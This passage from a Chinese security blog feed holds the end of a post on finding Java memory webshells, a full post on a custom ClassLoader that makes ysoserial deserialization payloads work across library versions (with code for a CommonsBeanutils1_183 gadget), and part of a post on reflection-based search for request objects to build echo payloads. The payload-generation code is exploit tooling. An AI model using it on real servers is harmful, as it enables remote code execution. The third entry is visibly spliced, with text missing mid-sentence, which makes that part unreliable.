总结</h2><p>本文我们对Filter型内存马的识别与查杀做了细致的分析,其实Servlet型,拦截器型和Controller型的查杀方法也是万变不离其中,可如法炮制。但这样的思路无法查杀Agent型内存马,Agent型内存马查杀难点在“查”不在“杀”,具体的难点在那,又是如何解决呢?我会在后续的《查杀Java web Agent型内存马》中继续分享我的思考。</p><h2 id="0x07-参考文章"><a href="#0x07-参考文章" class="headerlink" title="0x07 参考文章"></a>0x07 参考文章</h2><ul><li><a href="https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw" target="_blank" rel="noopener">Tomcat源码调试笔记-看不见的shell</a></li><li><a href="https://www.cnblogs.com/rebeyond/p/9686213.html" target="_blank" rel="noopener">【原创】利用“进程注入”实现无文件不死webshell</a></li><li><a href="https://landgrey.me/blog/12/" target="_blank" rel="noopener">基于内存 Webshell 的无文件攻击技术研究</a></li><li><a href="https://xz.aliyun.com/t/7388" target="_blank" rel="noopener">基于tomcat的内存 Webshell 无文件攻击技术</a></li></ul>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>使用自定义ClassLoader解决反序列化serialVesionUID不一致问题</title>
<link href="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/"/>
<url>/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p><code>serialVesionUid</code>不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。</p><h2 id="0x02-各方案的优劣"><a href="#0x02-各方案的优劣" class="headerlink" title="0x02 各方案的优劣"></a>0x02 各方案的优劣</h2><p>在解决这个问题之前,我尝试的很多方法,简单说下它们各自能解决的问题和存在的缺陷。</p><p><strong>方案1:修改序列化byte数据</strong></p><p>该方法可解决序列化最终数据的serialVesionUID不一致,但无法解决Object的serialVesionUID不一致</p><p><strong>方案2:反射修改serialVesionUID</strong></p><p>可以解决1的缺陷,但无法解决Gadget依赖的class没有serialVesionUID属性的情况,因为反射只能修改Object的属性,不能添加。</p><p><strong>方案3:修改Class字节码,添加或修改serialVesionUID</strong></p><p>能解决Gadget直接依赖Class的serialVesionUID不一致问题,可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/add-svuid-by-javassist.png" alt="通过javassist给class添加serialVesionUID"></p><p><strong>方案4:Hook ObjectStreamClass.getSerialVesionUID()</strong></p><p>该方法负责返回所有参与序列化Class的serialVesionUID,Hook它并修改返回值,可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间,class差异较大,属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素:Class的属性和方法。如果属性类型改变了,单单只修改serialVesionUID是不够的。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/modify-svuid-by-hook-getserialversionuid.png" alt="Hook ObjectStreamClass.getSerialVesionUID()"></p><p><strong>方案5:URLClassLoader</strong></p><p>使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲,原因有三:</p><blockquote><p>第一,不方便隔离依赖。包含serialVesionUID不一致class的jar(这里简称<code>不一致jar</code>)是需要被隔离的。由于URLClassLoader是双亲委派模式,存在被父ClassLoader中的同名Class覆盖的风险。</p></blockquote><blockquote><p>第二,不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题(这里简称<code>可共用jar</code>),我们需要共享。</p></blockquote><blockquote><p>第三,不方便添加Class到ClassLoader中,URLClassLoader只提供添加jar的方法。</p></blockquote><h2 id="0x03-自定义ClassLoader解决方案"><a href="#0x03-自定义ClassLoader解决方案" class="headerlink" title="0x03 自定义ClassLoader解决方案"></a>0x03 自定义ClassLoader解决方案</h2><p>在我看来比较完美的方案不仅要解决以上方案的缺陷,还要能防止各种未知的”副作用”。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader,核心有两点:</p><ol><li>改双亲委派为当前ClassLoader优先,方便隔离不一致jar共享可共用jar</li><li>方便添加Class和Jar到ClassLoader中</li></ol><p><strong>那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢?</strong></p><p>自定义ClassLoader可以很方便地切换<code>不一致jar</code>为漏洞环境的对应版本,生成的发序列化数据自然不会存在serialVesionUID不一致问题。具体实现如下图,我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的class使用的是自定义ClassLoader加载的,实现隔离。而其他Class找不到,自然走双亲委派模式,去父ClassLoader中查找,实现共享。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/custom-classloader.png" alt="自定义ClassLoader示意图"></p><p>下面我们分别来实现。</p><h2 id="0x04-addClass-amp-amp-addJar"><a href="#0x04-addClass-amp-amp-addJar" class="headerlink" title="0x04 addClass && addJar"></a>0x04 addClass && addJar</h2><p>首先我们自定义的ClassLoader需要维护要一个装载Class的Map <code>classByteMap</code>,<code>类名</code>为<code>键</code>,<code>类文件byte数据</code>为<code>值</code>。方便后续添加和获取Class。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> Map<String, <span class="keyword">byte</span>[]> classByteMap = <span class="keyword">new</span> HashMap<String,<span class="keyword">byte</span>[]>();</span><br></pre></td></tr></table></figure><p>addClass方法,主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">addClass</span><span class="params">(String className,<span class="keyword">byte</span>[] classByte)</span></span>{</span><br><span class="line"> classByteMap.put(className,classByte);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>addJar方法,主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的<code>class name</code>和<code>class byte</code>,存储到<code>classByteMap</code>中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readJar</span><span class="params">(JarFile jar)</span> <span class="keyword">throws</span> IOException</span>{</span><br><span class="line"> Enumeration<JarEntry> en = jar.entries();</span><br><span class="line"> <span class="comment">// 遍历jar文件所有实体</span></span><br><span class="line"> <span class="keyword">while</span> (en.hasMoreElements()){</span><br><span class="line"> JarEntry je = en.nextElement();</span><br><span class="line"> String name = je.getName();</span><br><span class="line"> <span class="comment">// 只class文件进行处理</span></span><br><span class="line"> <span class="keyword">if</span> (name.endsWith(<span class="string">".class"</span>)){</span><br><span class="line"> String clss = name.replace(<span class="string">".class"</span>, <span class="string">""</span>).replaceAll(<span class="string">"/"</span>, <span class="string">"."</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">this</span>.findLoadedClass(clss) != <span class="keyword">null</span>) <span class="keyword">continue</span>;</span><br><span class="line"> <span class="comment">// 读取class的byte内容</span></span><br><span class="line"> InputStream input = jar.getInputStream(je);</span><br><span class="line"> ByteArrayOutputStream baos = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line"> <span class="keyword">int</span> bufferSize = <span class="number">4096</span>;</span><br><span class="line"> <span class="keyword">byte</span>[] buffer = <span class="keyword">new</span> <span class="keyword">byte</span>[bufferSize];</span><br><span class="line"> <span class="keyword">int</span> bytesNumRead = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> ((bytesNumRead = input.read(buffer)) != -<span class="number">1</span>) {</span><br><span class="line"> baos.write(buffer, <span class="number">0</span>, bytesNumRead);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">byte</span>[] cc = baos.toByteArray();</span><br><span class="line"> input.close();</span><br><span class="line"> <span class="comment">// 将class name 和class byte存储到classByteMap</span></span><br><span class="line"> classByteMap.put(clss, cc);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x05-改双亲委派为自定义ClassLoader优先"><a href="#0x05-改双亲委派为自定义ClassLoader优先" class="headerlink" title="0x05 改双亲委派为自定义ClassLoader优先"></a>0x05 改双亲委派为自定义ClassLoader优先</h2><p>要想打破双亲委派,我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> Class<?> loadClass(String name, <span class="keyword">boolean</span> resolve) <span class="keyword">throws</span> ClassNotFoundException {</span><br><span class="line"> <span class="keyword">synchronized</span> (getClassLoadingLock(name)) {</span><br><span class="line"> <span class="comment">// 1. 检测自定ClassLoader缓存中有没有,有的话直接返回</span></span><br><span class="line"> Class clazz = cacheClass.get(name);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">null</span> != clazz) {</span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 2. 若缓存中没有,就从当前ClassLoader可加载的所有Class中找</span></span><br><span class="line"> clazz = findClass(name);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">null</span> != clazz) {</span><br><span class="line"> cacheClass.put(name, clazz);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> clazz = <span class="keyword">super</span>.loadClass(name, resolve);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (ClassNotFoundException ex) {</span><br><span class="line"> <span class="comment">// 3.当自定义ClassLoader中没有找到目标class,再调用系统默认的加载机制,走双亲委派模式</span></span><br><span class="line"> clazz = <span class="keyword">super</span>.loadClass(name, resolve);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (resolve) {</span><br><span class="line"> resolveClass(clazz);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>findClass方法定义的是自定义ClassLoader查找Class的逻辑</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> Class<?> findClass(String name) <span class="keyword">throws</span> ClassNotFoundException{</span><br><span class="line"> <span class="comment">// 从classByteMap中获取</span></span><br><span class="line"> <span class="keyword">byte</span>[] result = classByteMap.get(name);</span><br><span class="line"> <span class="keyword">if</span>(result == <span class="keyword">null</span>){</span><br><span class="line"> <span class="comment">// 没有找到则抛出对应异常</span></span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> ClassNotFoundException();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">// 将一个字节数组转为Class对象</span></span><br><span class="line"> <span class="keyword">return</span> defineClass(name, result, <span class="number">0</span>, result.length);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x06-编写版本兼容gadget"><a href="#0x06-编写版本兼容gadget" class="headerlink" title="0x06 编写版本兼容gadget"></a>0x06 编写版本兼容gadget</h2><p>依然以ysoserial <code>CommonsBeanutils1</code>为例子。ysoserial中默认commons-beanutils是1.9.2版本,下面我们给它添加一个兼容1.8.3版本的<code>CommonsBeanutils1_183</code>。</p><p>通过对比1.9.2和1.8.3序列化数据,发现serialVesionUID不一致的只有<code>org.apache.commons.beanutils.BeanComparator</code>类,它在<code>commons-beanutils-<version>.jar</code>中,剩余的<code>commons-collections-3.1.jar</code>和<code>commons-logging-1.2.jar</code>为可共用jar。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/commons-beanutils-ser.png" alt="两个版本的依赖jar生成的序列化数据对比"></p><p>接着就可以编写代码,调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Dependencies</span>({<span class="string">"commons-beanutils:commons-beanutils:1.8.3"</span>, <span class="string">"commons-collections:commons-collections:3.1"</span>, <span class="string">"commons-logging:commons-logging:1.2"</span>})</span><br><span class="line"><span class="meta">@Authors</span>({ Authors.FROHOFF,Authors.CONY1 })</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CommonsBeanutils1_183</span> <span class="keyword">extends</span> <span class="title">Object</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(String command)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="comment">// 创建自定义ClassLoader对象</span></span><br><span class="line"> SuidClassLoader suidClassLoader = <span class="keyword">new</span> SuidClassLoader();</span><br><span class="line"> <span class="comment">// 将Gadget class添加到自定义ClassLoader中</span></span><br><span class="line"> suidClassLoader.addClass(CommonsBeanutils1.class.getName(),classAsBytes(CommonsBeanutils1.class));</span><br><span class="line"> <span class="comment">// 从资源目录读取commons-beanutils-1.8.3.jar的base64数据</span></span><br><span class="line"> InputStream is = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream(<span class="string">"commons-beanutils-1.8.3.txt"</span>);</span><br><span class="line"> <span class="keyword">byte</span>[] jarBytes = <span class="keyword">new</span> BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is));</span><br><span class="line"> <span class="comment">// 将Gadget不一致jar添加到自定义ClassLoader中</span></span><br><span class="line"> suidClassLoader.addJar(jarBytes);</span><br><span class="line"> Class clsGadget = suidClassLoader.loadClass(<span class="string">"ysoserial.payloads.CommonsBeanutils1"</span>);</span><br><span class="line"> <span class="comment">// 判断存在serialVesionUID不一致问题的class是否是由自定义ClassLoader加载的</span></span><br><span class="line"> <span class="keyword">if</span>(BeanComparator.class.getClassLoader().equals(suidClassLoader)){</span><br><span class="line"> <span class="comment">// 使用自定义ClassLoader加载的Gadget class创建对象,调用其getObject构建序列化对象</span></span><br><span class="line"> Object objGadget = clsGadget.newInstance();</span><br><span class="line"> Method getObject = objGadget.getClass().getDeclaredMethod(<span class="string">"getObject"</span>,String.class);</span><br><span class="line"> Object objPayload = getObject.invoke(objGadget,command);</span><br><span class="line"> suidClassLoader.cleanLoader();</span><br><span class="line"> <span class="keyword">return</span> objPayload;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> System.out.println(<span class="string">"Class is not SuidClassLoader loading, serialization failure!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> PayloadRunner.run(CommonsBeanutils1_183.class, args);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目<a href="http://github.com/woodpecker-framework/ysoserial-woodpecker.git" target="_blank" rel="noopener">ysoserial-woodpecker</a></p><h2 id="0x07-参考文章"><a href="#0x07-参考文章" class="headerlink" title="0x07 参考文章"></a>0x07 参考文章</h2><ul><li><a href="https://www.cnblogs.com/duanxz/p/3511695.html" target="_blank" rel="noopener">java类中serialversionuid 作用 是什么?举个例子说明</a></li><li><a href="https://www.cnblogs.com/wxd0108/p/6681618.html" target="_blank" rel="noopener">Java自定义类加载器与双亲委派模型</a></li><li><a href="https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/" target="_blank" rel="noopener">Java Deserialization Exploitation With Customized Ysoserial Payloads</a></li></ul>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>半自动化挖掘request实现多种中间件回显</title>
<link href="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/"/>
<url>/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/</url>
<content type="html"><</code>中也有request对象。</p><h4 id="第二步:半自动化反射搜索全局变量"><a href="#第二步:半自动化反射搜索全局变量" class="headerlink" title="第二步:半自动化反射搜索全局变量"></a>第二步:半自动化反射搜索全局变量</h4><p>这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。</p><ul><li>Requst</li><li>ServletRequest</li><li>RequstGroup</li><li>RequestInfo</li><li>RequestGroupInfo</li><li>…</li></ul><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/request.png" alt="request对象隐藏在全局变量中的位置"></p><h2 id="0x04-编码实现"><a href="#0x04-编码实现" class="headerlink" title="0x04 编码实现"></a>0x04 编码实现</h2><p>思路虽然简单,但实现反射搜索的细节其实还是有很多坑的,这里列举一些比较有意思的点和坑来说说。</p><h4 id="4-1-限制挖掘深度"><a href="#4-1-限制挖掘深度" class="headerlink" title="4.1 限制挖掘深度"></a>4.1 限制挖掘深度</h4><p>对于隐藏过深的requst对象我们最好不考虑,原因有两个。</p><ul><li><p>第一个是这样反射路径过长,就算是搜索到了,最终构造的payload数据会很大,对于shiro这种反序列化数据在头部的漏洞是致命的。</p></li><li><p>第二个是挖掘时间会很长,因为JVM虚拟机内存中的对象结构其实是非常的复杂的,一个对象的属性往往嵌套着另一个对象,另一个对象的属性继续嵌套其他对象…</p></li></ul><p>可以声明两个变量来代表当前深度和最大深度,通过防止当前深度大于最大深度,来限制挖掘深度。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> max_search_depth = <span class="number">1000</span>; <span class="comment">//最大挖掘深度</span></span><br><span class="line"><span class="keyword">int</span> current_depth = <span class="number">0</span> <span class="comment">//当前深度</span></span><br><span class="line"><span class="keyword">while</span>(...){</span><br><span class="line"><span class="comment">//最多挖多深</span></span><br><span class="line"><span class="keyword">if</span>(current_depth > max_search_depth){</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//搜索</span></span><br><span class="line">...</span><br><span class="line">current_depth++;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="4-2-排除相同引用的对象"><a href="#4-2-排除相同引用的对象" class="headerlink" title="4.2 排除相同引用的对象"></a>4.2 排除相同引用的对象</h4><p>一个对象中可能会存在其他对象多个相同的实例(引用相同),是不能重复去遍历它属性的,否则会进入死循环。可以声明一个<code>visited</code>集合来存储已经遍历过的对象,在遍历之前先判断对象是否在该集合中,防止重复遍历!</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Set<Object> visited = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"><span class="keyword">if</span>(!visited.contains(filed_object)){</span><br><span class="line">visited.add(filed_object);</span><br><span class="line"><span class="comment">//继续搜索</span></span><br><span class="line">...</span><br><span class="line">}</span><br><span class="line"><span class="comment">//跳过</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure><h4 id="4-3-设置黑名单"><a href="#4-3-设置黑名单" class="headerlink" title="4.3 设置黑名单"></a>4.3 设置黑名单</h4><p>某些类型不可能存有requst,一般有如下的系统类型,和一些自定义的类型。对于这些类型的对象的遍历只会浪费时间,我们可以设置一个黑名单将其排除掉。</p><ul><li>java.lang.Byte</li><li>java.lang.Short</li><li>java.lang.Integer</li><li>java.lang.Long</li><li>java.lang.Float</li><li>java.lang.Boolean</li><li>java.lang.String</li><li>java.lang.Class</li><li>java.lang.Character</li><li>java.io.File</li><li>…</li></ul><h4 id="4-4-搜索继承的所有属性"><a href="#4-4-搜索继承的所有属性" class="headerlink" title="4.4 搜索继承的所有属性"></a>4.4 搜索继承的所有属性</h4><p><code>getFields()</code>和<code>getDeclaredFields()</code>其实都没法获取对象的所有属性,导致搜索会有遗漏。比如一个对象的父类的父类的一个私有属性,我们怎么获取呢?</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//向上循环 遍历父类</span></span><br><span class="line"><span class="keyword">for</span> (; clazz != Object.class; clazz = clazz.getSuperclass()) {</span><br><span class="line"> Field[] fields = clazz.getDeclaredFields();</span><br><span class="line"> <span class="keyword">for</span> (Field field : fields) {</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> <span class="comment">//搜索</span></span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="4-5-深度优先-vs-广度优先"><a href="#4-5-深度优先-vs-广度优先" class="headerlink" title="4.5 深度优先 vs 广度优先"></a>4.5 深度优先 vs 广度优先</h4><p>深度优先顾名思义就是会按照深度方向挖掘,它会先遍历至全局变量第一个属性最深层的所有末端,在继续第二属性依次类推。这样挖掘出来的反射链是比较长的。</p><p>在我实现完深度优先算法后,发现最致命的还不是反射链过长问题。深度优先可能会错过比较短的反射链。这是因为同一个requst对象的引用可能被存储在全局对象的多个属性中,有些藏的比较深,有的藏的比较浅。深度优先往往会先挖掘到比较深的那个,而根据我们相同对象不会第二次搜索原则,当搜索到存储比较浅的引用时,会被忽略了。这就导致我们只挖掘到了藏的比较深的,而错过了比较浅的。</p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/111.png" alt="全局变量结构示意图"></p><p>在学过算法,我们都知道广度优先就能解决路径最短问题,在这个问题上也是如此。针对上图的情况,两种算法挖掘的结果如下。</p><p>深度优先挖掘到两条反射链</p><ol><li>全局变量 > Field01 > Field03 > Request@111</li><li>全局变量 > Field04 > Request@222</li></ol><p>广度度优先挖掘到两条反射链</p><ol><li>全局变量 > Request@111</li><li>全局变量 > Field04 > Request@222</li></ol><p>而在实际环境中差别更加明显,以下是Tomcat8下搜索记录的对比。</p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/2.png" alt="实际挖掘广度优先挖掘结果与深度优先挖掘结果对比"></p><h2 id="0x05-实战挖掘"><a href="#0x05-实战挖掘" class="headerlink" title="0x05 实战挖掘"></a>0x05 实战挖掘</h2><p>基于以上想法,我设计了一款java内存对象搜索工具java-object-searcher,它可以很方便的帮助我们完成对request对象的搜索,当然不仅仅用于挖掘request。下面以<code>Tomcat7.0.94</code>为例挖掘requst。</p><p>项目地址:<a href="https://github.com/c0ny1/java-object-searcher" target="_blank" rel="noopener">https://github.com/c0ny1/java-object-searcher</a></p><h4 id="5-1-引入java-object-searcher"><a href="#5-1-引入java-object-searcher" class="headerlink" title="5.1 引入java-object-searcher"></a>5.1 引入java-object-searcher</h4><p>去<a href="https://github.com/c0ny1/java-object-searcher/releases" target="_blank" rel="noopener">java-object-searcher项目的releases</a>下载编译好的jar,引入到web项目和调试环境中。</p><h4 id="5-2-编写调用代码进行搜索"><a href="#5-2-编写调用代码进行搜索" class="headerlink" title="5.2 编写调用代码进行搜索"></a>5.2 编写调用代码进行搜索</h4><p>然后我们需要断点打在漏洞触发的位置,因为全局变量会随着中间件和Web项目运行被各个模块修改。而我们需要的是漏洞触发时,全局变量的状态(属性结构和值)。</p><p>接着在IDEA的<code>Evaluate</code>中编写java-object-searcher的调用代码,来搜索全局变量。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象</span></span><br><span class="line">List<Keyword> keys = <span class="keyword">new</span> ArrayList<>();</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"ServletRequest"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"RequstGroup"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"RequestInfo"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"RequestGroupInfo"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"Request"</span>).build());</span><br><span class="line"><span class="comment">//新建一个广度优先搜索Thread.currentThread()的搜索器</span></span><br><span class="line">SearchRequstByBFS searcher = <span class="keyword">new</span> SearchRequstByBFS(Thread.currentThread(),keys);</span><br><span class="line"><span class="comment">//打开调试模式</span></span><br><span class="line">searcher.setIs_debug(<span class="keyword">true</span>);</span><br><span class="line"><span class="comment">//挖掘深度为20</span></span><br><span class="line">searcher.setMax_search_depth(<span class="number">20</span>);</span><br><span class="line"><span class="comment">//设置报告保存位置</span></span><br><span class="line">searcher.setReport_save_path(<span class="string">"D:\\apache-tomcat-7.0.94\\bin"</span>);</span><br><span class="line">searcher.searchObject();</span><br></pre></td></tr></table></figure><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/3.png" alt="编写代码调用java-object-searcher挖掘request"></p><h4 id="5-3-根据挖掘结果构造回显payload"><a href="#5-3-根据挖掘结果构造回显payload" class="headerlink" title="5.3 根据挖掘结果构造回显payload"></a>5.3 根据挖掘结果构造回显payload</h4><p>根据上述挖掘到的反射链来构造回显,具体代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span 